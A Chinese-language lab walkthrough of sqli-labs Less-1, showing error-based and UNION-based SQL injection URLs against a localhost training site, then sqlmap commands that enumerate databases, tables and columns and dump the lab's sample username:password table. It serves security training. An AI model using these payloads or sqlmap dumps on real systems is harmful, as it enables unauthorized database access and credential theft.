GET 基于报错的SQL注入(less-1)


显示:相应用户名和密码

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1

显示:报错’ ‘1’’ limit 0,1 ’

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27

即正常情况下(输入id=1)应是:'1’ limit 0,1
故可以推测出SQL:

select username,password from 用户表 where id = '输入的id' limit 0,1;

验证:

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27--%20

显示:用户名和密码
故说明推测成立


方法一:

1.判断字段数

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1' order by 3 --+

显示:用户名和密码,说明字段数至少为3

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1' order by 4 --+

显示:Unknown column '4' in 'order clause',说明字段数为3
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16时,没有显示用户名和密码,说明数据库中没有id='16’的记录

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,2,3 --+

此时显示用户名为2,密码为3,于是2和3的位置就是可以利用的位置

2.得到登录用户和数据库

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,user(),database() --+

显示:用户为root@localhost,相应的数据库为security(同理,也可以使用**version()**函数查看mysql版本)

3.表名(为了知道用户名和密码存储在哪个表中)

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+

显示:爆出当前使用的数据库中的表名

users,uagents,emails,referers

返回值为用户名和密码,于是推测用户名和密码存储在users表中

4.字段名(为了知道哪两个字段代表用户名和密码)

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

显示:爆出users表中字段名为

id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

可以验证用户名和密码是存储于users表中,推测username和password各代表用户名和密码

5.字段值

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=16' UNION SELECT 1,group_concat(username,0x3a,password),3 from users--+

显示:

Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

方法二(使用sqlmap):

1.数据库名
在终端输入

sqlmap -u "http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1" --dbs --batch

显示:

available databases [5]:                                                  
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

推测使用security

2.表名
在终端输入

sqlmap -u "http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1" -D security --tables --batch

显示:

Database: security                                                        
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

推测在users中

3.字段名
在终端输入

`sqlmap -u “http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1” -D security -T users --columns --batch`

显示:

Database: security                                                        
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

推测username为用户名,password为密码

4.字段值

sqlmap -u “http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1” -D security -T users -C username,password --dump --batch

显示:

Database: security                                                        
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

总结

1、默认定义information_schema,用来存储数据库单元信息
具有表的schemata(数据库名)、tables(表名)、columns(列名或字段名)

2、
在schemata表中,schemata_name,用于存放数据库名
在tables表中,table_schematable_name,用于存放数据名和表名
在columns表中,table_schema(数据库名)、table_name(表名)、columns(字段名)
3、常用函数
user():查看当前MySQL登录用户名
database():查看当前使用MySQL数据库名
version():查看当前MySQL版本(针对MySQL5.0+)

limit 关键字:
limit n,m 表示从n行到n+m行

4、注释
注释符:# 或 - - 空格 或 /**/
空格:#20

相关阅读

Sqli-labs安装环境